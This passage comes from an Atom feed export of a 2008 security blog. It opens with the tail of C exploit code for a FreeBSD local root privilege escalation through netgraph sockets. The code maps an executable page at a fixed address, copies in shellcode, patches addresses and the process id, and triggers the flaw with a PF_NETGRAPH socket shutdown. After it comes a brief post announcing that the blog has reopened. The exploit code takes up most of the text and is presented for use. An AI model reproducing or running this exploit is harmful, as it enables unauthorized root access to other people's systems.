= strtoul(argv[1], 0, 0);&lt;br /&gt;&lt;br /&gt; v = mmap(&lt;br /&gt;  NULL,&lt;br /&gt;  (PAGES*PAGE_SIZE),&lt;br /&gt;  PROT_READ|PROT_WRITE|PROT_EXEC, &lt;br /&gt;  MAP_ANON|MAP_FIXED, &lt;br /&gt;  -1, &lt;br /&gt;  0);&lt;br /&gt; if(v == MAP_FAILED)&lt;br /&gt; {&lt;br /&gt;  perror(&amp;quot;mmap&amp;quot;);&lt;br /&gt;  return 0;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; c = v;&lt;br /&gt; d = (uchar * )x;&lt;br /&gt; while(1)&lt;br /&gt; {&lt;br /&gt;  *c = *d;&lt;br /&gt;  if(*d == 0xc3)&lt;br /&gt;  {&lt;br /&gt;   break;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  d++;&lt;br /&gt;  c++;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; *c++ = 0xc3;&lt;br /&gt;&lt;br /&gt; c = v;&lt;br /&gt; while(1)&lt;br /&gt; {&lt;br /&gt;  if(*(long * )c == PATTERN1)&lt;br /&gt;  {&lt;br /&gt;   *(c + 0) = addr &amp;gt;&amp;gt;  0;&lt;br /&gt;   *(c + 1) = addr &amp;gt;&amp;gt;  8;&lt;br /&gt;   *(c + 2) = addr &amp;gt;&amp;gt; 16;&lt;br /&gt;   *(c + 3) = addr &amp;gt;&amp;gt; 24;&lt;br /&gt;   break;&lt;br /&gt;  }&lt;br /&gt;  c++;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; pid = getpid();&lt;br /&gt; while(1)&lt;br /&gt; {&lt;br /&gt;  if(*(long * )c == PATTERN2)&lt;br /&gt;  {&lt;br /&gt;   *(c + 0) = pid &amp;gt;&amp;gt;  0;&lt;br /&gt;   *(c + 1) = pid &amp;gt;&amp;gt;  8;&lt;br /&gt;   *(c + 2) = pid &amp;gt;&amp;gt; 16;&lt;br /&gt;   *(c + 3) = pid &amp;gt;&amp;gt; 24;&lt;br /&gt;   break;&lt;br /&gt;  }&lt;br /&gt;  c++;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; s = socket(PF_NETGRAPH, SOCK_DGRAM, NG_DATA);&lt;br /&gt; if(s &amp;lt; 0)&lt;br /&gt; {&lt;br /&gt;  perror(&amp;quot;socket&amp;quot;);&lt;br /&gt;  return 1;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; shutdown(s, SHUT_RDWR);&lt;br /&gt;&lt;br /&gt; return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5022909045993780921-4502328294343297633?l=bl4cksecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bl4cksecurity.blogspot.com/feeds/4502328294343297633/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://bl4cksecurity.blogspot.com/2008/12/freebsd-local-root-privilege-escalation.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5022909045993780921/posts/default/4502328294343297633'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5022909045993780921/posts/default/4502328294343297633'/><link rel='alternate' type='text/html' href='http://bl4cksecurity.blogspot.com/2008/12/freebsd-local-root-privilege-escalation.html' title='FreeBSD Local Root Privilege Escalation Vulnerability Hits Like a Ton of Bricks'/><author><name>[bl4ck]</name><uri>http://www.blogger.com/profile/14880693255091190716</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5022909045993780921.post-9155358558941092616</id><published>2008-12-14T10:19:00.000-08:00</published><updated>2008-12-14T11:01:58.043-08:00</updated><title type='text'>Announcing the re-opening of bl4ck's security blog.</title><content type='html'>Hey guys,&lt;br /&gt;&lt;br /&gt;Ahoy from the islands! We've opened up our blog to the public again and have even consolidated each users blog into a single blog that we hope will be much more active.&lt;br /&gt;&lt;br /&gt;Keep it bl4ck.&lt;br /&gt;&lt;br /&gt;-redsand&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5022909045993780921-9155358558941092616?l=bl4cksecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bl4cksecurity.blogspot.com/feeds/9155358558941092616/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://bl4cksecurity.blogspot.com/2008/12/announcing-re-opening-of-bl4cks.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5022909045993780921/posts/default/9155358558941092616'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5022909045993780921/posts/default/9155358558941092616'/><link rel='alternate' type='text/html' href='http://bl4cksecurity.blogspot.com/2008/12/announcing-re-opening-of-bl4cks.html' title='Announcing the re-opening of bl4ck&apos;s security blog.'/><author><name>[bl4ck]</name><uri>http://www.blogger.com/profile/14880693255091190716</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry></feed>
